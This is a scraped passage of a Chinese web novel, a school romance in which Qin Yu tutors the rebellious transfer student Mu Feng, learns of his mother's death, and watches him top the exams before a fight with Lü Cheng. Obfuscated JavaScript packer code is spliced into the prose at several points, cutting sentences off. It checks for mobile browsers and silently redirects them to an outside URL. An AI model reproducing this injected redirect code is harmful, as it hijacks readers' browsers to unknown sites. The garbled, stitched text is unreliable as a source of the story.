丢下这句话,她匆匆夺门而出,椅子被带得晃了晃,眼看就要倒下,穆逢长臂一伸,按住椅子,一切归于平静。 他的视线,始终注视着玻璃窗里越来越远的秦遇。 秦遇在光线昏暗、空气污浊的小网吧里,找到了秦征。 书包随意扔在脚边,秦征正全神贯注地盯着闪烁的电脑屏幕,双手在键盘上快速按压,秦遇在他身边站了十几秒,他愣是没看一眼。 秦遇强忍着心头的怒意,克制地拍了拍他的肩。 秦征头也不抬地拂去她的手,“忙着呢,你小子别捣乱!” 秦遇深吸一口气,捏着他的耳朵往上提。 “哎哟,疼疼疼疼疼……” 秦征叫嚷着站起来,正要发作,看清昏暗灯光下秦遇的脸,瞬间气短。 “你,你怎么来了?” “我才要问你,秦征,你不上课,跑这里来干什么?” 秦遇竭力克制着自己的声音,可是蹭蹭上涨的怒气到底压不住,她的声音引得周围的人纷纷看过来。 坐在秦征对面的,是他的同班同学章旭,这个鬼精鬼精的孩子,已经从姐弟俩的对话中看出了两人的关系,递给秦征一个“好兄弟你自求多福”的眼神,就趴在电脑前装死。 他可不想被爸妈知道自己逃课来打游戏! 面对姐姐的怒火和朋友的“抛弃”,秦征撇撇嘴,低下头,不敢说话。 “出来说!” 秦遇冷着脸,转身往外走,秦征默默拾起书包,跟在后面。 从乌烟瘴气的小网吧出来,秦遇吐出一口浊气,在小巷清冷的空气里,开始教育秦征。 “上课时间,偷溜出来打游戏?秦征,你这不是第一回了吧?” 秦征震惊地抬起头,“你怎么知道?” 他这个反应,等于间接承认了。 秦遇抬手给他一个爆栗,“我是你姐,我什么不知道?!” 秦征一边喊疼,一边往后退,“不要敲了!” “前两天妈妈一直念叨,说你最近学习退步,亏我还帮你说话,成绩有起伏很正常,叫她不要担心。” “没想到你成绩退步,是因为偷跑出来打游戏!” 秦征揉着脑袋,不敢吱声。 “今天是我第一次发现,你只要保证以后不再逃课打游戏,这件事我就不告诉爸妈,就当什么都没发生过。” 秦征张了张嘴,犹豫了十几秒,吞吞吐吐地说,“秦遇,我不想骗你,不过这几天我必须打游戏。” 秦遇皱起眉,“什么意思?什么叫必须打游戏?” 秦征撇撇嘴,“你不知道,这两周要每天做满任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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忍不住噗嗤一声笑出来。 “学教父说话,不要脸!” 秦遇抱着双臂,靠在墙边等,她想看看,穆逢是否真能说到做到,说服秦征。 答案很快揭晓。 几分钟后,秦征掀开棉帘走出来,走在他身后的穆逢,冲她挑了挑眉,十分得意。 身后又走出一个小孩,个头只到他腰间,是秦征的同学。 秦征慢吞吞地走到秦遇面前,看了她一眼,低下头,“秦遇,对不起,我刚才,不该那样跟你说话。” 秦遇的眼睛慢慢放大,视线从秦征身上,移到穆逢身上,穆逢轻咳一声,秦征像是接收到信号,立刻直起身子,大声说,“我保证,以后再也不逃课了!” “走吧,章旭,大哥说要请我们吃西餐。” 叫章旭的孩子抱着书包,跟紧秦征,向马路对面的红茶馆走去。 不是,这就开始叫大哥了?! 秦征可从来都不叫她姐。 秦遇把牙齿咬得咯咯响,指着秦征的背影,问穆逢,“你跟他说了什么?” 穆逢的嘴角愉快地扬起,“我跟他说,只要他好好学习,就能像我一样,用奖学金买下那辆摩托车。” 说着,指了指对面停在圣诞树下的摩托车。 秦遇狠狠瞪了他一眼,“你是觉得他傻,还是我傻?” 穆逢咧开嘴笑了,一口整齐的牙齿白得耀眼,“别生气,我开玩笑的。” “我跟他说,只要不逃课,周末可以来我家玩电脑,玩上一整天。” “而你,”他看向她,“会帮他在你爸妈面前遮掩。” 29. 靠近 “哇,大哥,你家可真大!” 走出电梯,穿过铺着印花地毯、挂满古典油画的走廊,就到了穆逢家。 穆逢刷了一下指纹,黑色大门自动打开,露出宽敞明亮的客厅。 客厅的装潢很简单,落地玻璃窗干净透亮,厚厚的乳白色地毯从窗边直铺到门口,客厅中间是一条造型简洁的沙发,黑色皮革闪着淡淡的光泽,挂在墙上的电视目测至少70寸。 秦征睁大眼睛,上下左右环视,不敢置信地看向穆逢,“哥,这真是你家?” 穆逢点点头,右手伸向客厅,做了个请的手势。 秦征脱下鞋,欢快地跑进去。 秦遇还有点犹豫,“这样,真得好吗?” 穆逢推她进屋,“没事,周末我总是一个人也很无聊。” 穿过客厅,有一间专门的电脑房,穆逢把秦征带进去,没几分钟就走出来,还贴心地给他关上了门。 穆逢走到她面前。 “他打游戏,你想做点什么?看电视,打游戏,还是吃东西?” 秦遇摇摇头,从书包里掏出厚厚的复习资料,塞给他。 “我觉得,我们应该继续复习!” 穆逢嘴角抽搐了一下,“我觉得,我们也该适当休息。” “离考试还有半个月,得抓紧了。这样吧,咱们每学一个小时,就休息半小时,间隔着来,行吗?” 看着一脸认真的她,穆逢点了点头。 一个小时很快在刷题中过去,穆逢站起身,伸了个懒腰,拉开冰箱。 “你要喝什么?可乐,果汁,牛奶?” “我要果汁,谢谢。” 穆逢走过来,把橙汁递给她,微凉的瓶身和温暖的指尖,同时触碰到她的手。 秦遇垂下眼,拧开瓶盖,喝下一口橙汁,穆逢已经咕咚咕咚灌下了半瓶可乐。 从刚才她就注意到,这房间里的东西,都是一个人用的,杯子只有一个,拖鞋也只有一双。 “你一个人住?” 穆逢淡淡地“嗯”了一声。 “为什么要住酒店的套房?” 他们的脚下,正是本城最好的酒店-云端酒店,在此之前,秦遇并不知道,酒店的最顶层是这样高规格的套间,更没想到,会有人在这里长租。 穆逢回得漫不经心,“因为方便。” 见秦遇不明白,他解释,“住在这里,三餐有人做好送上来,衣服脏了有人洗,房间脏了有人打扫,所有的一切,只要按一下按钮。” 穆逢指了指玄关处墙上的一排小按钮,有红黄绿各种不同颜色。 秦遇皱了皱眉,这里虽然好,可是总让她觉得像旅馆,少了家的感觉,那种乱哄哄的、陈旧又温馨的感觉。 不过,她一向懂得,不要轻易质疑别人的生活方式。 她喝着橙汁,视线落到电视右边的圆桌上,那里摆着一张照片。 她走过去,好奇地拿起照片来看。 照片里是一个可爱的男孩子,七八岁模样,白皙俊秀,穿白色衬衫和深蓝色正装外套,端坐在钢琴前,一手放在钢琴上,一手放在膝上,扭头看向站在身后的女人,露出微笑。 男孩的眼睛和穆逢很像,晶莹透亮,闪闪发光,抚着男孩肩膀的女人,只有一个侧面的背影,却让人觉得气质不俗,温和又坚定。 女人的年龄,大约在三十多岁。 秦遇像发现了新大陆一样,开心地看向他,“这是你妈妈和弟弟,对不对?” 穆逢愣了下,嘴角动了动,最终没说什么,低头拧开电视。 “看会电视吧,快到中午了,吃完饭再继续复习。” 他把遥控器塞到她手里,拉她坐到沙发上。 黑色皮沙发的触感柔滑微凉,穆逢盯着电视画面,专注的侧脸看不出情绪。 很明显,他不想聊这个话题。 电视里正在播放动画片《101忠狗》,秦遇津津有味地看起来。 穆逢好奇地看了她一眼,“这么大了,还喜欢看动画片?” 秦遇目不转睛地盯着画面,“我不是喜欢动画片,我是喜欢狗。” “可惜我妈不让养,她总是说,养两个孩子就够累了,没工夫养猫养狗。” “要是我能有这么一条大丹犬就好了。” 秦遇的语气充满羡慕,她转过头看向穆逢,“你呢,你是猫派还是狗派?” 穆逢摇了摇头,“哪一派也不是,我不喜欢所有毛茸茸的东西。” 秦遇“哦”了一声,转过脸来继续看电视。 一集播完,进入电视购物环节。 “……不要988,不要688,只要288,……带回家……” 两位主持人像打了鸡血一样一唱一和,卖力渲染优惠力度之大,秦遇听见这种广告词就头疼,伸手去摸遥控器。 手指抚过微凉的皮革,碰到温暖的皮肤。 她一怔,下意识低头,看见自己的小指正搭在穆逢的小指上。 同一瞬间,穆逢也有所察觉,低头,看见了这一幕。 然后,两人双双抬头,视线撞在一起。 真奇怪,长长的睫毛下,他那黑白分明的眼珠似乎和以往不同,显得更深、更沉、更透。 当她望着他的眼睛时,仿佛被一口迷人的漩涡牢牢吸住,明明想要挪开手,要移开眼,却莫名其妙得动弹不得。 就在这时,秦征像子弹一样从电脑房窜出来。 “渴死了渴死了,大哥,我要喝可乐!” 他在沙发前站定,疑惑地看着像木偶一样坐着的两个人,愣愣地问,“你俩怎么了?” 秦遇迅速收回手,起身在他头顶拍了一下。 “什么怎么了?你叫他大哥,不叫我姐?我可是你亲姐!” “大哥支持我拿皮肤。” “我可是帮你游戏充了不少钱呢,白眼狼!” “亲姐也不能总是打我!” …… 走到冰箱前的穆逢,听着姐弟俩吵吵嚷嚷的对话,不自觉地扬起唇角。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果你知道,对面的人将在某年某日横死街头,你该怎么当作无事发生,轻松面对他? 你该怎样做到,在和他说笑时,眼前不会突然闪过他倒下的画面? 尤其是,当你和他越来越熟悉,这份友情的分量变得越来越重。 没错,她把他们之间的关系,定位为友情。 她不想眼睁睁看他死去,不想悲惨的命运再次降临于他,这样的感觉,一天比一天更强烈。 可她该如何开口,说起这件事? 情绪百转千回后,她一扬头,冲他甜甜地笑了,“我这个人,只是天生爱走神,你想多啦。” 穆逢静静地看着她,眼前闪过她学习时认真专注的模样,她分明在撒谎,可他还是点了点头。 30. 往事 吃过午饭,秦征继续一头扎进电脑房,秦遇则和穆逢继续复习功课。 再抬起头,时针已经指向午后三点。 午后的阳光透过窗玻璃斜射进来,在地板上投下大片光斑。 秦遇揉了揉发酸的眼睛,走到窗边,往外看。 临近新年,街道上的路灯灯杆漆成了红色,沿街商铺挂起了红灯笼,服装店门外摆着促销的展板,背景无一例外都是红色。 在这片流动的红色里,她又想起穆逢前世的命运,想起城郊那两条小巷。 不能放过每一个机会,她要继续劝他,在明年的春节离开这里。 穆逢离开书桌,就去了厨房,不知道在捣鼓些什么,过了一会,屋里居然飘起了茶香。 甘醇绵长的红茶香气,混着柑橘的味道,在屋里扩散开,秦遇深吸了一口气。 穆逢端着一只马克杯,从厨房走过来。 “我只有这一个杯子,不过你放心,已经洗过了。” 琥珀色的透亮茶汤,能映出人的影子。 她接过杯子,微烫的杯身握在手里很舒服。 穆逢抓了抓短短的头发,别扭地解释,“上午,不该让你喝凉的,我忘了你会肚子疼。” 他还记得上次她痛经的事。 秦遇感动地笑了,“没事,除了那几天,平时吃点凉的也没关系。” 穆逢“哦”了一声。 秦遇小心啜饮了一口红茶,称赞道“好喝!没想到你还会煮红茶。” 穆逢得意地扬扬下巴,“我会得可多着呢。” 他骄傲的模样像个小孩。 秦遇又喝了口咖啡,状似无意地开口。 “你不是本地人,为什么来这里?” 穆逢的视线移向窗外,数秒后,缓缓开口。 “我妈妈在这里出生,长到八岁,后来,外祖父生意做大,就举家搬走了。” 秦遇了然,“原来你是想体验妈妈小时候生活的地方,你跟你妈妈感情一定很好。” 玻璃窗上映出穆逢平静的面孔,他点了点头。 “不过,这里只是个小城市,挺无聊的,尤其是过年的时候。” 她这样,算不算不动声色地把话题引到过年上? “怎么个无聊法?” 他果然上钩了。 秦遇夸张地耸耸肩,“年年都是包饺子,贴对联,走亲戚。水饺永远是白菜肉和韭菜肉的,第一天吃还行,后来一天三顿吃,吃得我想吐。” “一到春节,讨厌的亲戚就都来了,还得强打起精神、堆起笑脸,一遍遍说新年好。” 说着,指指下面的街道。 “每年,街上的路灯都缠这种灯带,荧光色,丑死了,晚上一闪一闪的,恨不得闪瞎眼睛。” “还有,每年寒假,秦征都要和我抢电视看,爸妈从来只有一句‘你是姐姐,让着他”。 本来只是想跟他说这里过年没意思,劝他离开这里,说着说着,竟然真情实感地吐槽起来。 穆逢微微侧身,听得十分专注,眼里浮现淡淡笑意。 夕阳不知什么时候落下,暮色从房间的角落里漫上来,橘红色的街灯,闪烁在他晶亮的瞳孔里。 “你呢?你和叔叔阿姨去哪里过年?” 穆逢眼里的笑意迅速褪去,他抿了抿薄薄的嘴唇,声音发硬。 “我自己过。” “可是,你妈妈一定会想你……” 她的话还没说完,穆逢忽然转过头来,定定地看着她,表情凝重。 就在她不明所以的时候,他忽然开口,语气平静而低缓。 “她已经死了。” 仿佛一桶冰水兜头浇下,秦遇的笑容僵在脸上。 一瞬间,很多画面闪过脑海,很多问题都有了答案。 他为什么忽然转学来这里。 他为什么不好接近,难服难驯。 他为什么一个人住在这里。 他为什么刻意忽略她关于“妈妈和弟弟”的问题。 …… 也不知道过了多久,好像有一个世纪那么长,她才找回自己的意识,连连低头道歉,“对不起,对不起,我不该提这个。” 穆逢露出一抹苦笑,“你为什么要道歉?” “这事跟你一点关系也没有。” 秦遇心里又是后悔,又是难过。 她只想跟他谈谈无聊的新年,劝他不要在此地过年,没想到,会牵出这样沉痛的往事。 对十几岁的少年来说,妈妈的离世,一定是人生中最痛的回忆,特别是母子两人的感情很好。 穆逢重新看向窗外,缓缓开口。 “她是去年夏天走的,当时,我们一起在意大利度假。” “出了一场交通事故。” 寥寥几句,说尽一段惊心动魄。 她默默听着,心头一阵阵发紧。 或许,那照片上的可爱男孩,也死在那场意外里? 或许,他也在现场,死里逃生? 种种猜测从心头转过,秦遇只是默然。 穆逢忽然把手伸到裤兜里,像是在掏什么东西,几秒后,他迅速把手拿出来,掌心空空。 穆逢低头看了看手,呵出一声轻笑。 “差点忘了,答应你要戒烟的。” 他把两边口袋翻出来给她看,“什么也没有。” 接着,他把手伸向她,他的手指修长有力,指甲修剪的圆润整齐,干干净净,掌心的纹路清晰可见。 秦遇没反应过来,茫然地问,“干什么?” 穆逢露出一个无奈的表情,“棒棒糖,你答应过我的。” “哦,对。” 秦遇立刻从兜里翻出一支棒棒糖,撕掉糖纸,放到他手里。 穆逢接过棒棒糖,看她一眼,刁在嘴里。 电光火石间,秦遇想起来一件事。 “你是什么时候开始抽烟的?” 穆逢看着她,像是明白她在想什么,轻轻地说“去年夏天”。 正好是他妈妈去世的时候。 十几岁的少年,因为突遭家庭变故,转向烟草、酒精和暴力,这样的事情,似乎曾在报纸上读到过。 还好,穆逢除了叛逆一些,并没有走上歧路。 秦遇暗暗吸了一口气,安慰道,“马上就要放假,你爸爸一定快来接你了。” “他有另外的家。” 穆逢的语气,平常得像在讨论天气。 秦遇惊愕得张大嘴,随即紧紧闭上。 此刻,她恨不得咬掉自己的舌头。 妈妈死了,爸爸出轨,自己又在大年夜横死街头。 上一世的穆逢,到底经历了怎样悲惨的人生? “喂,不要用那种眼神看着我!” 秦遇慌张地眨了眨眼,“我……” 穆逢苦笑,“你用那样怜悯的眼神看我,让我觉得自己像一条流浪狗。” 秦遇轻轻地说,“我没有那个意思。” “我知道。” 沉默半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053423|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦遇鼓起勇气,“如果,我是说如果你愿意,你可以来我家过年。” 穆逢灼灼地视线,盯得她有些不自在,她解释道,“过年的时候,请朋友来家里也没什么,我会把姚摇也叫来,如果可以的话,把大黑他们也请来,我们一起热闹热闹。” 穆逢笑了,笑容明朗开阔,“谢谢你,不过,舅舅会来陪我过年。” 秦遇终于松了一口气。 “那,太好了。” 还好,还有个人陪在他身边。 第二天,秦遇带着秦征,继续来到穆逢家。 一进门,她就注意到,那厚实的胡桃木餐桌上,多了两只马克杯,一只粉色,一只绿色,和他自己用的黑色杯子摆在一起,热闹又醒目。 穆逢把粉色杯子递给她,里面是香橙红茶,琥珀色茶汤清澈透亮,握在手里微微发烫,喝起来却刚刚好。 味道浓郁,显然不是用超市里卖的茶包煮的。 不由有些好奇,问他“你从哪里学得煮红茶?” 穆逢喝下一口茶,回道“我妈喜欢喝红茶,每天早晨都要煮来喝,耳濡目染,我也就学会了。” 秦遇咬了咬下唇,她觉得,自己还是闭嘴比较好,这两天不知怎么了,一开口就要问到他的痛处。 穆逢像是看穿了她的想法,转而安慰她,“放轻松,我妈的事,对我来说不是禁忌。” “我喜欢你轻松随意地跟我聊天,不要有负担。” 秦遇看着他,点了点头。 紧张地复习了一个小时后,穆逢问她要不要看电视,她摇摇头,“看书看得头晕眼花,想歇歇眼睛。” 穆逢比了个OK的手势,打开了放在墙角的唱片机,黑胶唱片里流淌出《波西米亚狂想曲》。 秦遇眼睛一亮,“你也喜欢Queen?” “喜欢。” 遇到同好,秦遇来了精神。 “我第一次听Queen,还是伟民推荐给我的,我俩经常一边编手链,一边听Queen。” “伟民”这个亲昵的称呼,让穆逢不悦地眯起眼,可是秦遇和他一起编手链这件事,更让他觉得匪夷所思。 “徐伟民,不是个男生吗?怎么还会编手链?” 秦遇得意地笑了,“这你就不知道了,伟民可厉害了,他什么都会,”她扳着手指算起来,“他会缝衣服,懂很多流行音乐,教我编手链,对了,他还会做手擀面,做得比我妈做得都好吃,我妈常说,我和邻居家的晴晴姐加起来也没他能干。” “不过,他有点胆小,因为怕摔,这么大了还不会骑自行车。” 穆逢听得眉头抽搐了一下,“他怎么娘们唧唧的?” 秦遇不高兴了,“你不要这样说他,他是我从小一起长大的朋友。” 穆逢冷哼一声,“你倒是很维护他。” “维护朋友,本来就是应该的。” 穆逢身子前倾,注视着她,眼神瞬间变得锐利,“那我呢?我算是你的朋友吗?” 秦遇肯定地点头,“当然,你当然也是我的朋友。” “所以,你也会这样维护我?” 秦遇有些不明所以,“怎么突然这样问?你打架那么厉害,根本没人敢欺负你,根本用不着我维护。” 穆逢两道浓黑的眉毛拧作一团,正要开口,秦征高声叫着冲过来,右手握成拳,高高举向天花板。 “拿到了!拿到了!我拿到了!” “刷够了时间,我终于拿到了冬季限定——玉龙翻甲战袍!” 31. 不服 寒假里的日子,温馨又绵长。 秦遇正睡得迷迷糊糊,小灵通响了,伸手从枕边摸索到小灵通,眯着眼,看见屏幕上闪动着姚摇的名字。 她按下接听键,懒懒“喂”了一声。 “都十点了,你怎么还在睡?!” 姚摇超高分贝的声音传来,震得她立刻把小灵通举远,按下外放。 “出来了,期末排名出来了!快去学校看!” 秦遇愣了两秒,一骨碌爬起来,跳下床,穿好衣服,冲出卧室。 正在沙发上织毛衣的妈妈奇怪地看着她,“这是怎么了?风风火火的,你不是说要睡到中午吗?” “成绩出来了,我要去学校。” 说着,她奔向门口去拿羽绒服,妈妈叫住她,“吃完早饭再去,不差这一会。” 秦遇犹豫了一秒,从餐桌上抓起一片面包咬在嘴里,冲出家门。 秦妈妈走过来关上门,嘴里念叨着,“真是怪了,以前也没见对成绩这么上心过。” 正在沙发上拆玩具手枪的秦征插嘴道,“我知道,秦遇在给同学补课呢,她这是关心自己的教~育~成~果。” 教学楼下的公告栏旁边,已经聚集了不少同学。 秦遇在攒动的人头后踮起脚尖,发现看不清,只能奋力往里挤。 “哎,让一让,请让一让。” “小遇,这里,快过来。” 最前面,姚摇踮起脚尖,冲她拼命挥手。 好容易挤过来,秦遇喘着气问她,“你怎么来这边了?艺术生的成绩单,不是贴在东边吗?” “我已经看过自己的成绩了,还是第二,现在,我更关心你徒弟的成绩,哎,你踩到我了,别硬挤!” 踩到姚摇的陌生男生,连连低头道歉。 秦遇听到她是第二,立刻竖起大拇指,“太棒了,摇摇!” 姚摇得意地笑了,催促她,“这是我们班的名单,快找你徒弟的成绩,我从最后一名开始看的,先告诉你个好消息,倒数前十,没有他。” “别这么叫,什么徒弟不徒弟的,好别扭。” 秦遇说着,目光在本班的成绩单上迅速扫描着,从倒数第十一名开始,一个个往上数。 她看得很仔细,生怕错过一个字,漏下他的名字。 倒数前二十名,没有! 倒数前三十名,没有! 等到确认后半截都没有的时候,秦遇的开心,渐渐变成不安。 她早就认准了,穆逢是比不过吕程的,只是希望,借着这次的比赛,能让他拾起书本,好好学习。 以穆逢期中考试倒数的排名,加上这一个月的恶补,最多也就是个中游水平。 名单只剩前二十个,穆逢的名字还没出现。 她紧张得喉头发干,肚子隐隐作痛。 该不会,穆逢弃考了吧? 不,不会的,如果是这样,他应该会告诉她。 双手在不知不觉中紧握,她继续往上看,就在这时,姚摇忽然抓紧了她的手,用微颤的声音说,“小遇,小遇,你看,穆逢的名字,在那里。” 秦遇循着她的手指看去,穆逢的名字,赫然出现在榜单的首位。 她疑心自己看错,揉了揉眼,再看,确实是他的名字。 一笔一画,确凿无疑,绝不会有错。 姚摇口中喃喃,“他居然是第一!” 秦遇睁大眼睛,说不出话,只是把他的名字翻来覆去得看。 在醒目的排名1后面,括号里还标出了年级排名,是3。 这时,身边的同学也发觉了异样,好几个人都开始议论。 “看见了吗?第一名不是汪欣欣。” “你敢相信吗?是穆逢,是最后一排那个转学生。” “什么什么?爱打架那个穆逢?” 就在这时,身后的人向两边分开,让出一条道,班里球队的成员,大摇大摆地走过来,走在最前面的大黑,高声喊着“弟兄们,姐妹们,让一让,让一让,让我们看看成绩。” 众人怀着惊异的目光,看着这群平时连考试都懒得参加的学渣,兴冲冲地来查成绩。 直到穆逢站到她身边,秦遇都没有察觉,她就像石化了一样,一动不动地站在公告栏前,盯着穆逢的名字看。 一声轻咳从身侧传来,她茫然转头,看见穆逢。 “怎么样?小老师,这个成绩还可以吧?” 他双手插在牛仔裤的裤兜里,戴一顶靛蓝色鸭舌帽,说话时,得意地扬了扬下巴,左耳上的银色耳钉随之闪烁。 秦遇定定地看着他,温热的泪水充盈眼眶,然后,她激动地叫着“你考了第一!”冲过去抱住了他。 身体先于她的意识,做出了自己的反应。 穆逢身子一僵,随即抬起手,犹豫着是要拍拍她的背,还是回抱住她。 他第一次和女生这样接近,她被风吹乱的头发、冻得粉红的脸颊,和亮晶晶的眼睛,让他无所适从。 所有的得意、骄傲,化为手心的一抹慌乱。 周围有人吹起了口哨。 秦遇终于回过神来,立刻往后撤。 抬手整理了下额前的碎发,她生硬地解释,“那,那是一个友谊的拥抱,我,我高兴坏了。” 快乐的泡沫充盈在穆逢胸口,他咧开嘴笑了。 “既然你这么开心,以后我要每次都考第一。” 这样笃定和自信的语气,让秦遇笑了。 就在这时,一个人拨开人群,怒气冲冲地走过来。 “让开,让开。” 吕程已经完全没了平时的温文尔雅,白皙的脸孔气得微微扭曲,他粗鲁地推开围观的同学,走到高一的公告栏前。 高一(二)班的成绩单上,高居榜首的穆逢两个字,隔着玻璃对他发出冷冷的嘲笑。 一个多月来,他每天挑灯夜战,不看一次电视,不玩一次游戏,每天除了学习就是学习,也只考到了年级第五。 而这个只知道靠老子的垫底混蛋,居然考了年级第三。 他不相信,他绝对不相信! 看见吕程,秦遇皱起眉,她拉起姚摇的手,“我们走吧。” 她对穆逢摆了摆手,表示再见。 吕程忽然跳了出来,冲到穆逢面前,用手指着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058788|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你作弊了!” “明明期中考试还是垫底,这次居然考到年级第三,怎么可能有这种事?你一定是作弊!” 穆逢耸耸肩,露出一个轻蔑的笑。 “这位学长,这么输不起啊?” 这句话伤害性不大,侮辱性极强。 吕程当即涨红了脸,态度更为强硬,怒视着穆逢。 “知道自己比不过我,就用这种卑劣下作的手段,我要去教务处揭发你,请老师调监控,证明你作弊!” 穆逢听完,不怒反笑,走到他身边,拍了拍他的肩,“输给我,让你这么难受?” 他不羁的笑落在吕程眼里,就是赤裸裸的嘲讽。 吕程突然朝他啐了一口。 “喂,你小子找死!” 大黑当即就要带人冲过来,穆逢给了他一个制止的眼神,他不服气地停下。 穆逢的笑意淡下去,他抬起手,缓缓擦掉脸颊上的口水。 长这么大,还是第一次被人把口水吐在脸上。 他该给他一拳,还是送他一脚? 就在这个当口,有人一阵风似地冲过来,抬手给了吕程一巴掌。 啪! 一瞬间,周围的窃窃私语都停了,清脆的响声回荡在空中,格外响亮。 吕程捂着火辣辣的脸,愤怒地瞪着秦遇,“你为什么打我?” 秦遇比他气势更足,她扬起头,恶狠狠地瞪着他,“你凭什么往他脸上吐口水?” “你说他作弊,有证据吗?拿不出证据,你就是污蔑,就是诽谤,就是有罪推论!” 所有的错,都是别人的错,就连他出轨,也要怪她性格不好,不能好好沟通。 她从来最厌恶吕程这副嘴脸。 此刻,为穆逢的不忿和为自己前世的不值,重叠在一起。 穆逢有些吃惊,过来拉她,“好了,小遇,我来处理。” 秦遇推开他,继续怒斥吕程。 “按照你的逻辑,我还怀疑你呢,你妈妈是老师,谁知道她有没有偷偷给你泄题?一直以来,你是真的成绩好,还是靠家人偷偷帮忙?” 其实她知道,吕程的成绩真得不错,可她看不过他的行为,决心以彼之道还之彼身,莫须有的脏水,不能只泼在穆逢一个人身上,也要往他身上泼。 吕程最爱惜名声,那就攻击他的名声。 吕程果然暴怒,伸手重重推了她一把,吼道“这是我跟他之间的事,不用你掺合!” 这一下用了全力,秦遇直接被推倒在地上,书包摔在地上,膝盖撞得生疼,冰凉粗粝的地面,把掌心磨红。 穆逢冲过来扶起她,低垂的眉眼中,盛满心疼和担忧。 姚摇也过来扶住她。 穆逢低声问她。 “疼吗?” 秦遇咬紧牙关,本想逞强说不疼,可是眼泪不受控制地流下来。 她又气、又恼、又疼,委屈地想哭,又拼命忍耐,把嘴角紧紧抿起。 穆逢看着她这副模样,全身的血都往头上涌,他转身死死盯住吕程,说着“打女生的人,最没种!”头猛地撞上吕程的头。 32. 一起 “小遇,来这边,离他们远一点。” 姚摇拉着秦遇,不由分说地往后撤,以防被误伤。 秦遇根本不在意被她拉到哪里,她的视线一直紧紧地盯着穆逢和吕程。 穆逢那一记撞击,把吕程撞得后退几步,差点摔倒在地上。 蚯蚓似的细细的血,从头发里爬出,流到脸上。 吕程吼叫一声,冲着穆逢扑过来,两个人厮打在一起。 最开始,围观的同学还抱着看戏的心态,可是随着两人越打越凶,紧张和担忧的情绪越来越重。 秦遇紧张地抓着姚摇的手。 穆逢明显占了上风,论力量、论速度,吕程都不是他的对手。 穆逢挥出的拳头,比吕程又多又狠,可是打架这事,本来就是互相伤害,再能打的人,也很难做到不吃一拳。 正面刚不过,吕程动起歪脑筋,拳风一转,冲着秦遇挥过来,秦遇没想到他会突然对自己发难,躲闪不及,眼看那一拳就要打在胸口,幸好穆逢反应快,冲过来用身体挡住她。 不过这样一来,他的脸就生生受了吕程一拳。 当下,嘴角就沁出血。 秦遇的心揪起来,脸色瞬间变得惨白,冲着两人喊,“别打了!别打了!” 穆逢用手背胡乱擦了下嘴角,猎豹一样冲过去,把吕程按倒在地,拳头像雨点一样落在他身上。 教导主任赶来的时候,看到的正是这一幕。 “别打了!不准再打了!你们俩都给我住手!” “你,你,还有你,你们几个,还不过来拉架?!” 在教导主任的吩咐下,几个五大三粗的男生过来,死死把两人拉开,这才告一段落。 “你,你瞧瞧你把吕程打成了什么样?啊?你这是要往死里打他啊?” 教导主任指着趴在地上的吕程,训斥穆逢。吕程脸上挂彩,上衣被扯烂,头发乱得像鸡窝,两只眼睛都被揍成了熊猫眼,样子要多狼狈有多狼狈。 穆逢一侧脸颊有些红肿,他往地上吐了一口血水,指指自己的脸,“老师,这时候还要偏心吗?我也被打了。” 教导主任气得胸口起伏不止,见周围同学很多,不想落人口实,立刻转了话题。 “不管谁对谁错,先去医务室,等会再仔细盘问你们!” 说完,转向围观的同学。 “没事的都走吧,赶紧回家去,放假了不要在学校聚集。” 在教导主任的呵斥下,围观的同学不情不愿地走了,最后只剩下穆逢、吕程、秦遇和姚摇。 教导主任转向秦遇,“你怎么还不走?” 秦遇担心穆逢的身体,决心陪他去医务室看看,立刻说“刚才吕程把我推倒了,我的膝盖很疼,也要去医务室检查。” 教导主任又转向姚摇,“你呢?” “我,我是她的好朋友,我要陪着她去医务室。” “有我在,不用你陪着,他们三个一会还要写检查,你走吧。” 姚摇撇了撇嘴,还想争辩,秦遇拉了拉她的手,轻声说,“我没事,膝盖不疼,放心。” 姚摇一步三回头地走了。 医务室里,校医分别给两人检查了身体,说“问题不大,都是皮外伤,只是看起来吓人,没伤到筋骨。” 教导主任这才松了口气,指指秦遇,“这个女同学摔倒了,也给她检查一下膝盖吧。” 校医让秦遇坐在椅子上,捏了捏她的膝盖,做了几个伸腿和弯曲的动作,她都做得很流畅。 “一点事也没有。” 校医说完,把一瓶碘伏和一包棉签放到她面前,指指穆逢,“既然没事,你帮这位同学涂一下脸上的伤。” 说完转身去了吕程身边,和教导主任一起为吕程料理伤口。 两个人都围着吕程,穆逢这边却无人问津,想到这一点,秦遇冲校医的背影,做了个鬼脸。 回头,就见穆逢似笑非笑地看着她。 “笑什么?” “你做鬼脸的样子,真有趣。” 秦遇板起脸,“闭上眼,不要动,我给你擦碘伏。” “哦。” 穆逢听话地闭起眼睛。 